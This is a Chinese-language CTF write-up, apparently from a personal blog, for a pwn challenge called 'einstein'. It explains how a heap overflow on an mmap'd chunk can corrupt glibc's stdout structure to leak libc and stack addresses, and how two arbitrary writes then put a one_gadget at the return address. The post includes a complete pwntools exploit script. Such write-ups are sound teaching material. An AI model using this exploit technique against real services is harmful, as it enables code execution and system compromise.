爱因斯坦?挺有趣的名字^-^

涉及到了堆的一些机制以及stdout,算是对前面那篇文章的一个巩固吧。

静态分析:

┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn10-pwnme]
└─$ checksec --file=einstein 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/kali/glibc-all-in-one-master/libs/2.38-1ubuntu6.3/'

保护全开,程序中有两个任意写,以及一个堆溢出,如何利用这些漏洞得到shell?

首先要想任意写,我们肯定要知道往哪里写,也就是我们需要先泄露出地址,只有一个堆溢出怎么实现泄露地址?在前面文章中我们知道可以通过修改stdout结构体来泄露地址。

首先我们要知道一个概念,创建堆块大多时候用的是malloc/realloc这些函数,但是这是在堆块大小较小的时候,一旦堆块的size超过了某个范围,程序就会采用mmap来创建堆块,用mmap创建的堆块一般在堆和栈之间,在libc的范围内,这个时候我们就可以通过设置合理的offset来覆盖libc中的某些地址,当然,这个时候我们选择覆盖的是IO_2_1_stdout里面的_IO_write_base,把它改成0程序就会从0地址处开始打印内容,也可以直接改_IO_write_ptr的最后一个字节为\xff,这样就会从_IO_write_base一直输出到_IO_write_ptr。

在这之间会泄露出很多地址,belike: ↓↓↓

我们可以看到泄露出来的内容有0x7f76开头的和0x7ffd开头的地址,前者是libc中的地址,而后者在stack里面。

这个时候思路就很清晰了,在泄露出来地址之后我们覆盖ret_addr为one_gadget就行,不过这题由于libc比较特殊,无法直接使用,所以还需要覆盖其他地址用来符合one_gadget的条件。

libc_base:

stack_addr

最后得到shell:

完整的exp:

from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process("./einstein")
elf = ELF("./einstein")
libc = ELF("./libc.so.6")

def debug():
    gdb.attach(p, "b*$rebase(0x1354)")
#debug()
p.recvuntil("How long is your story ?")
p.sendline(str(0x1000000))

p.recvuntil("What's the distortion of time and space ?")
p.sendline(str(18876304+0x28))

p.recvuntil("use them wisely.")
#payload = flat(0xfbad1887, 0x0, 0x0, 0x0, p16(0))
#p.sendline(payload)

p.send(b'\xff')

p.recv(0x78+5)

leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak-2099440
print(hex(libc_base))


p.recv(0x20*4)
stack_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(stack_addr))
ret_addr = stack_addr - 0x120#(0x7ffd61c65218 - 0x7ffd61c650f8)
print("ret_addr >>>", hex(ret_addr))
#gdb.attach(p)
rbp = ret_addr + 8
one_gadget = libc_base + 0xeb66b

"""
0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
"""

"""
#p.sendline(p64(ret_addr)+b" "+p64(one_gadget))
#p.sendline(p64(shell))
#p.sendline(p64(rbp-0x78)+b" 0")
#p.sendline(p64(0))
"""

p.sendline(f'{ret_addr} {one_gadget}'.encode())
p.sendline(f'{rbp - 0x78} 0'.encode())#符合one_gadget要求

p.recv()
p.interactive()

其实我觉得还可以覆盖成system,然后第二次覆盖rdi寄存器为/bin/sh的地址,这个地址直接在libc里面搜就行。这个就留给读者去复现了。

最近博客迁移,服务器有问题的话可以给我留言。

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...